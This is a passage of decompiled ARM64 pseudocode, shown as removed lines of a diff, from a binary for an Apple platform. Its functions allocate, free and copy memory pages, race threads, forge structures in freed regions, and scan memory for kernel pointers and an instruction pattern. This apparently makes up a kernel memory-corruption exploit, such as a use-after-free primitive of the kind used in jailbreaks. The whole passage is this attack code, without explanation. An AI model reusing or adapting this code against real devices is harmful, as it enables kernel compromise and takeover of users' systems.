0x4000000000000000LL) != 0 ) - __break(0xC471u); - return __error(); - } - return result; -} -// 83B0: variable 'vars8' is possibly undefined - -//----- (00000000000083C8) ---------------------------------------------------- -__int64 __fastcall sub_83C8(_QWORD *a1) -{ - vm_address_t v2; // x20 - __int64 v3; // x8 - __int64 v4; // x10 - __int64 v5; // x22 - __int64 v6; // x23 - __int64 i; // x20 - __int64 result; // x0 - vm_address_t address; // [xsp+8h] [xbp-38h] BYREF - - address = 0LL; - vm_allocate(mach_task_self_, &address, 0xC000uLL, 1); - v2 = address; - v3 = a1[0x88]; - v4 = a1[0xBC]; - *(_BYTE *)(a1[0xBB] + v3) = 0x41; - *(_BYTE *)(v4 + v3) = 0x41; - v5 = a1[a1[0x8F] + 0x8D]; - vm_deallocate(mach_task_self_, *(_QWORD *)(v5 + 0x38), 0xC000uLL); - *(_QWORD *)(v5 + 0x38) = 0LL; - thread_switch(0, 2, 0); - v6 = a1[a1[0x94] + 0x92]; - vm_deallocate(mach_task_self_, *(_QWORD *)(v6 + 0x38), 0xC000uLL); - *(_QWORD *)(v6 + 0x38) = 0LL; - sub_63E8(v2, 0xC000uLL, 0); - sub_6448(v2); - *(_QWORD *)(a1[a1[0x94] + 0x92] + 0x38LL) = v2; - sub_7FF8((__int64)a1, a1[0xB3]); - sub_8384((__int64)a1, a1[0xB3] - 4LL); - for ( i = 0LL; i != 0xC3500; i += 8LL ) - result = sub_63E8(*(_QWORD *)(a1[6] + i), 0x4000uLL, 0); - return result; -} - -//----- (00000000000084F8) ---------------------------------------------------- -int *__fastcall sub_84F8(__int64 a1) -{ - __int64 v2; // x9 - vm_address_t v3; // x21 - __int64 v4; // x21 - __int64 v5; // x21 - int *result; // x0 - vm_address_t address; // [xsp+8h] [xbp-28h] BYREF - - v2 = *(_QWORD *)(a1 + 0x20); - if ( *(_BYTE *)(a1 + 0x28) && *(_BYTE *)(a1 + 0x29) ) - { - v3 = v2 + 0x8000; - address = v2 + 0x4000; - vm_allocate(mach_task_self_, &address, 0x4000uLL, 0x4000); - address = v3; - } - else - { - address = v2 + 0x4000; - } - vm_allocate(mach_task_self_, &address, 0x4000uLL, 0x4000); - v4 = *(_QWORD *)(a1 + 0x4D8); - vm_deallocate(mach_task_self_, *(_QWORD *)(v4 + 0xA0), 0x4000uLL); - *(_QWORD *)(v4 + 0xA0) = 0LL; - if ( pthread_join(*(pthread_t *)(a1 + 0x508), 0LL) ) - __error(); - *(_QWORD *)(a1 + 0x508) = 0LL; - v5 = *(_QWORD *)(a1 + 0x4B8); - vm_deallocate(mach_task_self_, *(_QWORD *)(v5 + 0xA0), 0x4000uLL); - *(_QWORD *)(v5 + 0xA0) = 0LL; - result = (int *)pthread_join(*(pthread_t *)(a1 + 0x4F8), 0LL); - if ( (_DWORD)result ) - result = __error(); - *(_QWORD *)(a1 + 0x4F8) = 0LL; - return result; -} - -//----- (00000000000085E4) ---------------------------------------------------- -void __fastcall sub_85E4(__int64 a1) -{ - int v2; // w8 - __int64 v3; // x22 - __int64 v4; // x23 - __int64 v5; // x25 - vm_address_t v6; // x20 - __int64 v7; // x1 - __int64 v8; // x8 - int (__cdecl *v9)(const void *, const void *); // x0 - - v2 = *(unsigned __int8 *)(a1 + 0x28); - if ( *(_BYTE *)(a1 + 0x28) && *(_BYTE *)(a1 + 0x29) ) - { - *(_WORD *)(a1 + 0x28) = 0; - sub_7FF8(a1, *(_QWORD *)(a1 + 0x598)); - } - else - { - *(_WORD *)(a1 + 0x28) = 0; - sub_814C(a1, v2 != 0); - } - vm_copy(mach_task_self_, *(_QWORD *)(a1 + 0x450), *(_QWORD *)(a1 + 0x460), *(_QWORD *)(a1 + 0x458)); - v3 = 0LL; - v4 = 0LL; - v5 = 0LL; - do - { - v6 = *(_QWORD *)(*(_QWORD *)(a1 + 0x30) + 8 * v5); - if ( sub_6448(v6) >> 0x20 ) - { - vm_deallocate(mach_task_self_, v6, 0x4000uLL); - ++v5; - } - else - { - if ( !v3 ) - v3 = v5 + 1; - ++v5; - v8 = a1 + 0x10 * v4; - *(_QWORD *)(v8 + 0x38) = v6; - *(_QWORD *)(v8 + 0x40) = v7; - ++v4; - } - } - while ( v5 != 0x186A0 ); - *(_QWORD *)(a1 + 0x590) = v3; - v9 = (int (__cdecl *)(const void *, const void *))nullsub_1(sub_64B8); - qsort((void *)(a1 + 0x38), 0x40uLL, 0x10uLL, v9); - free(*(void **)(a1 + 0x30)); - *(_QWORD *)(a1 + 0x30) = 0LL; -} -// 8694: variable 'v7' is possibly undefined -// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); - -//----- (0000000000008710) ---------------------------------------------------- -void __fastcall sub_8710(_QWORD *a1) -{ - __int64 vars8; // [xsp+18h] [xbp+8h] - - sub_8228((__int64)a1); - sub_83C8(a1); - sub_84F8((__int64)a1); - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - sub_85E4((__int64)a1); -} -// 8748: variable 'vars8' is possibly undefined - -//----- (0000000000008758) ---------------------------------------------------- -__int64 __fastcall sub_8758(vm_address_t *a1) -{ - vm_address_t v2; // x8 - __int64 v3; // x8 - vm_address_t v4; // x20 - vm_address_t v5; // x20 - __int64 v6; // x8 - vm_address_t v7; // x20 - __int64 *v8; // x26 - vm_address_t v9; // x8 - unsigned __int64 v10; // x9 - __int64 v11; // x10 - unsigned __int64 v12; // x20 - __int64 v13; // x11 - __int64 v14; // x8 - vm_address_t v15; // x8 - vm_address_t v16; // x1 - vm_address_t v17; // x8 - vm_address_t v18; // x20 - vm_size_t v19; // x21 - unsigned __int64 v20; // x8 - _OWORD *v21; // x9 - __int64 v22; // x20 - vm_address_t *v23; // x21 - vm_address_t v24; // x8 - unsigned __int64 v25; // x11 - unsigned __int64 v26; // x10 - unsigned int v27; // w8 - _OWORD *v28; // x8 - __int128 v30; // [xsp+10h] [xbp-380h] - __int128 v31; // [xsp+30h] [xbp-360h] - _BYTE v32[32]; // [xsp+40h] [xbp-350h] - __int128 v33; // [xsp+60h] [xbp-330h] - __int128 v34; // [xsp+B0h] [xbp-2E0h] - __int128 v35; // [xsp+D0h] [xbp-2C0h] - __int128 v36; // [xsp+E0h] [xbp-2B0h] - __int128 v37; // [xsp+F0h] [xbp-2A0h] - __int128 v38; // [xsp+100h] [xbp-290h] - _BYTE v39[32]; // [xsp+140h] [xbp-250h] - __int128 v40; // [xsp+160h] [xbp-230h] - __int128 v41; // [xsp+170h] [xbp-220h] - __int128 v42; // [xsp+1B0h] [xbp-1E0h] - __int128 v43; // [xsp+1D0h] [xbp-1C0h] - __int128 v44; // [xsp+1E0h] [xbp-1B0h] - __int128 v45; // [xsp+1F0h] [xbp-1A0h] - __int128 v46; // [xsp+200h] [xbp-190h] - _BYTE address[32]; // [xsp+240h] [xbp-150h] BYREF - __int128 v48; // [xsp+260h] [xbp-130h] - __int128 v49; // [xsp+270h] [xbp-120h] - __int128 v50; // [xsp+280h] [xbp-110h] - __int128 v51; // [xsp+290h] [xbp-100h] - __int128 v52; // [xsp+2A0h] [xbp-F0h] - __int128 v53; // [xsp+2B0h] [xbp-E0h] - __int128 v54; // [xsp+2C0h] [xbp-D0h] - __int128 v55; // [xsp+2D0h] [xbp-C0h] - __int128 v56; // [xsp+2E0h] [xbp-B0h] - __int128 v57; // [xsp+2F0h] [xbp-A0h] - __int128 v58; // [xsp+300h] [xbp-90h] - __int128 v59; // [xsp+310h] [xbp-80h] - __int128 v60; // [xsp+320h] [xbp-70h] - __int128 v61; // [xsp+330h] [xbp-60h] - - *(_QWORD *)address = 0LL; - vm_allocate(mach_task_self_, (vm_address_t *)address, 0xC000uLL, 1); - v2 = *(_QWORD *)address; - a1[0xB0] = *(_QWORD *)address; - a1[0xAC] = v2; - *(_QWORD *)address = v2; - vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000uLL, 0x4000); - thread_switch(0, 2, 0); - vm_deallocate(mach_task_self_, a1[7], 0x4000uLL); - a1[7] = 0LL; - sub_63E8(a1[0xAC], 0x4000uLL, 0); - sub_6448(a1[0xAC]); - *(_QWORD *)address = 0LL; - vm_allocate(mach_task_self_, (vm_address_t *)address, 0x10000uLL, 1); - v3 = *(_QWORD *)address; - a1[0xAF] = *(_QWORD *)address; - *(_QWORD *)address = v3; - vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000uLL, 0x4002); - sub_63E8(a1[0xAF], 0x4000uLL, 0); - *(_QWORD *)address = a1[0xAF] + 0x4000; - v4 = *(_QWORD *)address; - vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000uLL, 0x4000); - thread_switch(0, 2, 0); - vm_deallocate(mach_task_self_, a1[9], 0x4000uLL); - a1[9] = 0LL; - vm_copy(mach_task_self_, a1[0xAC], 0xC000uLL, v4); - sub_6448(v4); - vm_deallocate(mach_task_self_, a1[0xAF] + 0xC000, 0x4000uLL); - *(_QWORD *)address = a1[0xAC] + 0x4000; - v5 = *(_QWORD *)address; - vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000uLL, 0x4002); - sub_63E8(v5, 0x4000uLL, 0); - *(_QWORD *)address = 0LL; - vm_allocate(mach_task_self_, (vm_address_t *)address, 0xC000uLL, 1); - v6 = *(_QWORD *)address; - a1[0xAD] = *(_QWORD *)address; - *(_QWORD *)address = v6; - vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000uLL, 0x4002); - sub_63E8(a1[0xAD], 0x4000uLL, 0); - *(_QWORD *)address = a1[0xAD] + 0x4000; - v7 = *(_QWORD *)address; - vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000uLL, 0x4002); - sub_63E8(v7, 0x4000uLL, 0); - v8 = (__int64 *)(a1 + 0x8A); - vm_copy(mach_task_self_, a1[0x8B], a1[0x8C], a1[0x8A]); - v9 = a1[0x8C]; - if ( v9 ) - { - v10 = 0LL; - v11 = *v8; - v12 = 0xFFFFFFFFFFFFFFFFLL; - do - { - v13 = v11 + v10; - if ( (*(_BYTE *)(v11 + v10 + 0x7F) & 1) == 0 && (*(_BYTE *)(v13 + 0x17F) & 1) == 0 ) - { - a1[0xA3] = *(_QWORD *)(v13 + 0x148); - v12 = v10; - } - v10 += 0x4000LL; - } - while ( v10 < v9 ); - } - else - { - v12 = 0xFFFFFFFFFFFFFFFFLL; - } - *(_QWORD *)address = 0LL; - vm_allocate(mach_task_self_, (vm_address_t *)address, 0xC000uLL, 1); - v14 = *(_QWORD *)address; - a1[0xA9] = *(_QWORD *)address; - *(_QWORD *)address = v14; - vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000uLL, 0x4002); - sub_63E8(a1[0xA9], 0x4000uLL, 0); - *(_QWORD *)address = a1[0xA9] + 0x4000; - vm_allocate(mach_task_self_, (vm_address_t *)address, 0x8000uLL, 0x4000); - v15 = a1[0x8B] + v12; - a1[0xAA] = v15; - *(_QWORD *)address = v15 + 0x4000; - vm_allocate(mach_task_self_, (vm_address_t *)address, 0x8000uLL, 0x4000); - v16 = a1[0x8B]; - v17 = a1[0xAA]; - v18 = v17 + 0xC000; - v19 = v16 + a1[0x8C] - v17 - 0x4000; - vm_deallocate(mach_task_self_, v16, v17 - v16); - vm_deallocate(mach_task_self_, v18, v19); - vm_deallocate(mach_task_self_, a1[0x8A], a1[0x8C]); - *v8 = 0LL; - a1[0x8B] = 0LL; - *(_QWORD *)address = 0LL; - *(_OWORD *)&address[0x10] = 0u; - v60 = 0u; - v61 = 0u; - v58 = 0u; - v59 = 0u; - v56 = 0u; - v57 = 0u; - v54 = 0u; - *(_QWORD *)&v55 = 0LL; - v52 = 0u; - v53 = 0u; - v50 = 0u; - v51 = 0u; - v48 = 0u; - v49 = 0u; - *(_OWORD *)&address[8] = xmmword_42D30; - DWORD2(v48) = 0x64; - LODWORD(v53) = 4; - HIDWORD(v53) = 0x101C800; - *((_QWORD *)&v55 + 1) = 0xFFFFFFFFFFFFFFFFLL; - v20 = 0xFFFFFFFFFFFFFF00LL; - HIDWORD(v56) = 0xC0080; - do - { - v21 = (_OWORD *)(v20 + a1[0xA9]); - v21[0x1C] = v58; - v21[0x1D] = v59; - v21[0x1E] = v60; - v21[0x1F] = v61; - v21[0x18] = v54; - v21[0x19] = v55; - v21[0x1A] = v56; - v21[0x1B] = v57; - v21[0x14] = v50; - v21[0x15] = v51; - v21[0x16] = v52; - v21[0x17] = v53; - v21[0x10] = *(_OWORD *)address; - v21[0x11] = *(_OWORD *)&address[0x10]; - v21[0x12] = v48; - v21[0x13] = v49; - v20 += 0x100LL; - } - while ( v20 >> 8 < 0x3F ); - vm_copy(mach_task_self_, a1[0xA9], 0xC000uLL, a1[0xAA]); - v22 = 0LL; - v23 = a1 + 0xB; - do - { - vm_deallocate(mach_task_self_, v23[v22], 0x4000uLL); - v23[v22] = 0LL; - v22 += 2LL; - } - while ( v22 != 0x7C ); - bzero((void *)a1[0xA9], 0x4000uLL); - *(_QWORD *)&v43 = 0LL; - v44 = 0u; - *(_QWORD *)&v45 = 0LL; - v46 = 0u; - v42 = 0u; - v41 = 0u; - v24 = a1[0xA3]; - v25 = (v24 + 0x2400000200LL) >> 6; - if ( v24 == 0xFFFFFFFFFFFFFE00LL ) - LODWORD(v25) = 0; - *(_DWORD *)v39 = v25; - *(_DWORD *)&v39[4] = v25; - *(_OWORD *)&v39[8] = xmmword_42D30; - *(_QWORD *)&v39[0x18] = 0x4000LL; - *(_QWORD *)&v40 = v24 + 0x200; - *((_QWORD *)&v40 + 1) = 0x100000064LL; - LODWORD(v41) = 1; - HIDWORD(v42) = 0x11C800; - *((_QWORD *)&v43 + 1) = 0xFFFFFFFFFFFFFFFFLL; - HIDWORD(v44) = 0xC0007; - *((_QWORD *)&v45 + 1) = v24 + 0xB8; - *(_QWORD *)&v46 = v24 + 0xB8; - *(_QWORD *)&v35 = 0LL; - v36 = 0uLL; - *(_QWORD *)&v37 = 0LL; - *((_QWORD *)&v38 + 1) = 0LL; - v34 = 0uLL; - v26 = (v24 + 0x2400000100LL) >> 6; - if ( v24 == 0xFFFFFFFFFFFFFF00LL ) - LODWORD(v26) = 0; - *(_DWORD *)v32 = v26; - *(_DWORD *)&v32[4] = v26; - *(_OWORD *)&v32[8] = xmmword_42D30; - *(_QWORD *)&v32[0x18] = 0x4000LL; - *(_QWORD *)&v33 = 0LL; - *((_QWORD *)&v33 + 1) = 0x64LL; - LODWORD(v34) = 4; - HIDWORD(v34) = 0x18800; - *((_QWORD *)&v35 + 1) = 0xFFFFFFFFFFFFFFFFLL; - HIDWORD(v36) = 0xC0007; - *((_QWORD *)&v37 + 1) = v24 + 0xC80; - *(_QWORD *)&v38 = v24 + 0xC80; - DWORD2(v31) = 0; - *(_QWORD *)&v30 = 0LL; - if ( v24 ) - v27 = (v24 + 0x2400000000LL) >> 6; - else - v27 = 0; - DWORD2(v30) = v27; - HIDWORD(v30) = v27; - *(_QWORD *)&v31 = v27 | 0x401000100000000LL; - HIDWORD(v31) = 0x100C; - v28 = (_OWORD *)a1[0xA9]; - v28[2] = v40; - v28[3] = v41; - *v28 = *(_OWORD *)v39; - v28[1] = *(_OWORD *)&v39[0x10]; - v28[6] = 0u; - v28[7] = v42; - v28[4] = 0u; - v28[5] = 0u; - v28[0xA] = v44; - v28[0xB] = v45; - v28[8] = 0u; - v28[9] = v43; - v28[0xE] = 0u; - v28[0xF] = 0u; - v28[0xC] = v46; - v28[0xD] = 0u; - v28[0x1C] = v38; - v28[0x1D] = 0uLL; - v28[0x1E] = 0uLL; - v28[0x1F] = 0uLL; - v28[0x18] = 0uLL; - v28[0x19] = v35; - v28[0x1A] = v36; - v28[0x1B] = v37; - v28[0x14] = 0uLL; - v28[0x15] = 0uLL; - v28[0x16] = 0uLL; - v28[0x17] = v34; - v28[0x10] = *(_OWORD *)v32; - v28[0x11] = *(_OWORD *)&v32[0x10]; - v28[0x12] = v33; - v28[0x13] = 0uLL; - v28[0x20] = v30; - v28[0x21] = 0uLL; - v28[0x22] = v31; - return vm_copy(mach_task_self_, a1[0xA9], 0xC000uLL, a1[0xAA]); -} -// 42D30: using guessed type __int128 xmmword_42D30; - -//----- (0000000000008DDC) ---------------------------------------------------- -void __fastcall sub_8DDC(_QWORD *a1, __int64 a2, unsigned __int64 *a3, unsigned __int64 *a4) -{ - char *v8; // x21 - __int64 v9; // x23 - unsigned __int64 v10; // x0 - unsigned __int64 v11; // x8 - unsigned __int64 v12; // x9 - unsigned __int64 v13; // x9 - unsigned __int64 v14; // x8 - char *v15; // x9 - unsigned __int64 v16; // x12 - __int64 vars8; // [xsp+38h] [xbp+8h] - - v8 = (char *)malloc(0x4000uLL); - v9 = -(__int64)vm_page_size & a2; - if ( v9 ) - { - while ( 1 ) - { - v10 = sub_6F68(); - if ( v10 ) - break; -LABEL_6: - v9 -= 0x4000LL; - if ( !v9 ) - goto LABEL_7; - } - sub_6E30(a1, v10, v8, 0x4000uLL); - v11 = 0LL; - while ( *(_DWORD *)&v8[v11] != 0xA9027F60 ) - { - v12 = v11 >> 3; - v11 += 4LL; - if ( v12 >= 0x7FF ) - goto LABEL_6; - } - v15 = &v8[v11]; - v16 = v9 + v11; - v14 = ((v9 + v11 + 0xC) & 0xFFFFFFFFFFFFF000LL) - + (((unsigned __int64)*(unsigned int *)&v8[v11 + 0x10] >> 7) & 0x7FF8) - + 2LL * ((*(_DWORD *)&v8[v11 + 0xC] >> 0x12) & 0x1800 | (*(_DWORD *)&v8[v11 + 0xC] >> 5 << 0xD)); - v13 = ((v16 - 0x14) & 0xFFFFFFFFFFFFF000LL) - + (((unsigned __int64)*((unsigned int *)v15 + 0xFFFFFFFC) >> 7) & 0x7FF8) - + 2LL * ((*((_DWORD *)v15 + 0xFFFFFFFB) >> 0x12) & 0x1800 | (*((_DWORD *)v15 + 0xFFFFFFFB) >> 5 << 0xD)); - } - else - { -LABEL_7: - v13 = 0LL; - v14 = 0LL; - } - *a3 = v14; - *a4 = v13; - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - free(v8); -} -// 8F08: variable 'vars8' is possibly undefined - -//----- (0000000000008F18) ---------------------------------------------------- -void __fastcall sub_8F18(_QWORD *a1, __int64 a2, int a3, _QWORD *a4) -{ - char *v8; // x21 - unsigned __int64 v9; // x24 - __int64 v10; // x22 - unsigned __int64 v11; // x25 - __int64 v12; // x23 - unsigned __int64 v13; // x8 - unsigned __int64 v14; // x9 - unsigned __int64 v15; // x8 - __int64 vars8; // [xsp+48h] [xbp+8h] - - v8 = (char *)malloc(0x4000uLL); - if ( a2 == 0x10000000000LL ) - v9 = 0xFFFF800000000000LL; - else - v9 = 0xFFFFFF8000000000LL; - v10 = (unsigned int)(a3 << 0xE) + a2; - v11 = 0x3000000LL; - v12 = v10 + 0x3000000; - while ( 2 ) - { - sub_6E30(a1, (v10 + v11) & -(__int64)vm_page_size, v8, 0x4000uLL); - v13 = 0LL; - do - { - if ( *(_QWORD *)&v8[v13 + 0x10] == v9 && *(_QWORD *)&v8[v13 + 0x18] == 0xFFFFFFFFFFFFFFFFLL ) - { - *a4 = v12 + v13; - goto LABEL_12; - } - v14 = v13 >> 3; - v13 += 8LL; - } - while ( v14 < 0x7E3 ); - v15 = v11 >> 0xE; - v11 += 0x4000LL; - v12 += 0x4000LL; - if ( v15 < 0xFFF ) - continue; - break; - } -LABEL_12: - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - free(v8); -} -// 9008: variable 'vars8' is possibly undefined - -//----- (0000000000009018) ---------------------------------------------------- -void *__fastcall sub_9018(_QWORD *a1) -{ - __int16 v2; // w1 - __int64 v3; // x1 - unsigned __int64 v4; // x0 - unsigned __int64 v5; // x0 - void *result; // x0 - __int64 v7; // [xsp+0h] [xbp-200h] BYREF - __int64 v8; // [xsp+8h] [xbp-1F8h] BYREF - unsigned __int64 v9; // [xsp+10h] [xbp-1F0h] BYREF - unsigned __int64 v10; // [xsp+18h] [xbp-1E8h] BYREF - _OWORD v11[4]; // [xsp+20h] [xbp-1E0h] BYREF - __int128 v12; // [xsp+60h] [xbp-1A0h] - __int128 v13; // [xsp+70h] [xbp-190h] - __int128 v14; // [xsp+80h] [xbp-180h] - __int128 v15; // [xsp+90h] [xbp-170h] - __int128 v16; // [xsp+A0h] [xbp-160h] - __int128 v17; // [xsp+B0h] [xbp-150h] - __int128 v18; // [xsp+C0h] [xbp-140h] - __int128 v19; // [xsp+D0h] [xbp-130h] - __int128 v20; // [xsp+E0h] [xbp-120h] - __int128 v21; // [xsp+F0h] [xbp-110h] - _OWORD v22[4]; // [xsp+100h] [xbp-100h] BYREF - __int128 v23; // [xsp+140h] [xbp-C0h] - __int128 v24; // [xsp+150h] [xbp-B0h] - __int128 v25; // [xsp+160h] [xbp-A0h] - __int128 v26; // [xsp+170h] [xbp-90h] - __int128 v27; // [xsp+180h] [xbp-80h] - __int128 v28; // [xsp+190h] [xbp-70h] - __int128 v29; // [xsp+1A0h] [xbp-60h] - __int128 v30; // [xsp+1B0h] [xbp-50h] - __int128 v31; // [xsp+1C0h] [xbp-40h] - __int128 v32; // [xsp+1D0h] [xbp-30h] - unsigned __int64 v33; // [xsp+1E0h] [xbp-20h] BYREF - int v34; // [xsp+1ECh] [xbp-14h] BYREF - - v34 = 0; - sub_6DC0(a1, a1[0xB5], &v34); - v33 = 0LL; - sub_8F18(a1, a1[0xB4], v34, &v33); - v31 = 0u; - v32 = 0u; - v29 = 0u; - v30 = 0u; - v27 = 0u; - v28 = 0u; - v25 = 0u; - v26 = 0u; - v23 = 0u; - v24 = 0u; - memset(v22, 0, sizeof(v22)); - sub_6E30(a1, v33, v22, 0xE0uLL); - v2 = v23; - a1[0xA4] = *((_QWORD *)&v22[0] + 1); - a1[0xA5] = a1[0xB6]; - v20 = 0u; - v21 = 0u; - v18 = 0u; - v19 = 0u; - v16 = 0u; - v17 = 0u; - v14 = 0u; - v15 = 0u; - v12 = 0u; - v13 = 0u; - memset(v11, 0, sizeof(v11)); - sub_70A4(a1, v2, (char *)v11, 0xE0uLL); - v3 = *((_QWORD *)&v12 + 1); - a1[0xA6] = *((_QWORD *)&v12 + 1); - v9 = 0LL; - v10 = 0LL; - sub_8DDC(a1, v3, &v10, &v9); - v8 = 0LL; - v4 = sub_6F68(); - sub_6E30(a1, v4, &v8, 8uLL); - a1[0xA7] = v8; - v7 = 0LL; - v5 = sub_6F68(); - result = sub_6E30(a1, v5, &v7, 8uLL); - a1[0xA8] = v7; - return result; -} - -//----- (0000000000009150) ---------------------------------------------------- -__int64 __fastcall sub_9150(__int64 a1) -{ - vm_size_t v2; // x2 - __int64 result; // x0 - vm_address_t address; // [xsp+8h] [xbp-18h] BYREF - - vm_deallocate(mach_task_self_, *(_QWORD *)(a1 + 0x438), *(_QWORD *)(a1 + 0x448)); - *(_QWORD *)(a1 + 0x438) = 0LL; - (*(void (__fastcall **)(_QWORD, _QWORD))(a1 + 0x5B8))(*(_QWORD *)(a1 + 0x5D0), *(_QWORD *)(a1 + 0x440)); - v2 = *(_QWORD *)(a1 + 0x448); - address = *(_QWORD *)(a1 + 0x440); - vm_allocate(mach_task_self_, &address, v2, 0x4000); - **(_BYTE **)(a1 + 0x440) = 0x41; - result = vm_deallocate(mach_task_self_, *(_QWORD *)(a1 + 0x440), *(_QWORD *)(a1 + 0x448)); - *(_QWORD *)(a1 + 0x440) = 0LL; - return result; -} - -//----- (00000000000091E0) ---------------------------------------------------- -__int64 __fastcall sub_91E0(__int64 result, __int64 a2) -{ - __int64 v3; // x20 - unsigned __int64 v4; // x21 - __int64 v5; // x22 - - v3 = result; - v4 = 0LL; - v5 = a2 + 0x14; - do - { - if ( v4 < *(_QWORD *)(a2 + 0x20) ) - { - (*(void (__fastcall **)(_QWORD, _QWORD))(v3 + 0x5C0))(*(_QWORD *)(v3 + 0x5D0), *(unsigned int *)(v5 + 4 * v4)); - result = mach_port_deallocate(mach_task_self_, *(_DWORD *)(v5 + 4 * v4)); - *(_DWORD *)(v5 + 4 * v4) = 0; - } - ++v4; - } - while ( v4 != 3 ); - return result; -} - -//----- (000000000000925C) ---------------------------------------------------- -void __fastcall sub_925C(__int64 a1) -{ - __int64 v2; // x22 - __int64 v3; // x25 - __int64 v4; // x23 - _QWORD *v5; // x20 - __int64 v6; // x27 - char v7; // w8 - char v8; // w21 - vm_address_t *v9; // x20 - _QWORD v11[2]; // [xsp+8h] [xbp-68h] - - v2 = 0LL; - v3 = a1 + 0x468; - v4 = a1 + 0x490; - v11[0] = a1 + 0x468; - v11[1] = a1 + 0x490; - while ( 1 ) - { - while ( 1 ) - { - v5 = *(_QWORD **)(v3 + 0x18); - if ( !v5 ) - break; - *(_QWORD *)(v3 + 0x18) = *v5; - (*(void (__fastcall **)(_QWORD, _QWORD))(a1 + 0x5B8))(*(_QWORD *)(a1 + 0x5D0), v5[3]); - vm_deallocate(mach_task_self_, v5[3], 0x4000uLL); - v5[3] = 0LL; - sub_91E0(a1, (__int64)(v5 + 2)); - free(v5); - } - v6 = 0LL; - v7 = 1; - do - { - v8 = v7; - v9 = *(vm_address_t **)(v3 + 8 * v6); - sub_91E0(a1, (__int64)(v9 + 2)); - if ( v6 != *(_QWORD *)(v3 + 0x10) || v3 == v4 ) - { - (*(void (__fastcall **)(_QWORD, vm_address_t))(a1 + 0x5B8))(*(_QWORD *)(a1 + 0x5D0), v9[7]); - vm_deallocate(mach_task_self_, v9[7], 0xC000uLL); - } - free(v9); - v7 = 0; - v6 = 1LL; - } - while ( (v8 & 1) != 0 ); - if ( ++v2 == 2 ) - break; - v3 = v11[v2]; - } -} - -//----- (00000000000093B0) ---------------------------------------------------- -__int64 __fastcall sub_93B0(__int64 a1, __int64 a2) -{ - __int64 result; // x0 - - (*(void (__fastcall **)(_QWORD, _QWORD))(a1 + 0x5B8))(*(_QWORD *)(a1 + 0x5D0), *(_QWORD *)(a2 + 0x18)); - vm_deallocate(mach_task_self_, *(_QWORD *)(a2 + 0x18), 0x4000uLL); - *(_QWORD *)(a2 + 0x18) = 0LL; - result = vm_deallocate(mach_task_self_, *(_QWORD *)(a2 + 0x88), 0x18000uLL); - *(_QWORD *)(a2 + 0x88) = 0LL; - return result; -} - -//----- (0000000000009410) ---------------------------------------------------- -__int64 __fastcall sub_9410(__int64 a1, vm_address_t *a2) -{ - __int64 result; // x0 - - (*(void (__fastcall **)(_QWORD, vm_address_t))(a1 + 0x5B8))(*(_QWORD *)(a1 + 0x5D0), a2[3]); - (*(void (__fastcall **)(_QWORD, vm_address_t))(a1 + 0x5B8))(*(_QWORD *)(a1 + 0x5D0), a2[8]); - vm_deallocate(mach_task_self_, a2[3], 0x4000uLL); - a2[3] = 0LL; - vm_deallocate(mach_task_self_, a2[8], 0x4000uLL); - a2[8] = 0LL; - vm_deallocate(mach_task_self_, a2[0x11], 0x18000uLL); - a2[0x11] = 0LL; - result = vm_deallocate(mach_task_self_, a2[0x12], 0x14000uLL); - a2[0x12] = 0LL; - return result; -} - -//----- (00000000000094B0) ---------------------------------------------------- -__int64 __fastcall sub_94B0(__int64 a1, vm_address_t *a2) -{ - __int64 result; // x0 - - (*(void (__fastcall **)(_QWORD, vm_address_t))(a1 + 0x5B8))(*(_QWORD *)(a1 + 0x5D0), a2[3]); - (*(void (__fastcall **)(_QWORD, vm_address_t))(a1 + 0x5B8))(*(_QWORD *)(a1 + 0x5D0), a2[8]); - (*(void (__fastcall **)(_QWORD, vm_address_t))(a1 + 0x5B8))(*(_QWORD *)(a1 + 0x5D0), a2[0xD]); - vm_deallocate(mach_task_self_, a2[3], 0x4000uLL); - a2[3] = 0LL; - vm_deallocate(mach_task_self_, a2[8], 0x4000uLL); - a2[8] = 0LL; - vm_deallocate(mach_task_self_, a2[0xD], 0x4000uLL); - a2[0xD] = 0LL; - vm_deallocate(mach_task_self_, a2[0x11], 0x18000uLL); - a2[0x11] = 0LL; - vm_deallocate(mach_task_self_, a2[0x12], 0x14000uLL); - a2[0x12] = 0LL; - result = vm_deallocate(mach_task_self_, a2[0x13], 0x10000uLL); - a2[0x13] = 0LL; - return result; -} - -//----- (0000000000009588) ---------------------------------------------------- -__int64 __fastcall sub_9588(__int64 a1, _QWORD *a2) -{ - __int64 v4; // x20 - __int64 v5; // x21 - __int64 result; // x0 - _OWORD v7[16]; // [xsp+0h] [xbp-130h] BYREF - - v4 = *(_QWORD *)(a1 + 0x5D0); - (*(void (__fastcall **)(__int64, _QWORD))(a1 + 0x5B8))(v4, a2[8]); - (*(void (__fastcall **)(_QWORD, _QWORD))(a1 + 0x5B8))(*(_QWORD *)(a1 + 0x5D0), a2[0xD]); - vm_deallocate(mach_task_self_, a2[8], 0x4000uLL); - a2[8] = 0LL; - vm_deallocate(mach_task_self_, a2[0xD], 0x4000uLL); - a2[0xD] = 0LL; - v5 = a2[7] - *(_QWORD *)(a1 + 0x540); - memset(v7, 0, sizeof(v7)); - (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v4 + 0x30))(v4, v5, v7, 0x100LL, 1LL); - *((_QWORD *)&v7[4] + 1) = 0LL; - (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v4 + 0x40))( - v4, - v5 + 0x48, - (char *)&v7[4] + 8, - 8LL, - 1LL); - vm_deallocate(mach_task_self_, a2[0x14], 0x10000uLL); - a2[0x14] = 0LL; - vm_deallocate(mach_task_self_, a2[0x15], 0x10000uLL); - a2[0x15] = 0LL; - vm_deallocate(mach_task_self_, a2[0x16], 0x10000uLL); - a2[0x16] = 0LL; - result = vm_deallocate(mach_task_self_, a2[0x17], 0x10000uLL); - a2[0x17] = 0LL; - return result; -} - -//----- (00000000000096D8) ---------------------------------------------------- 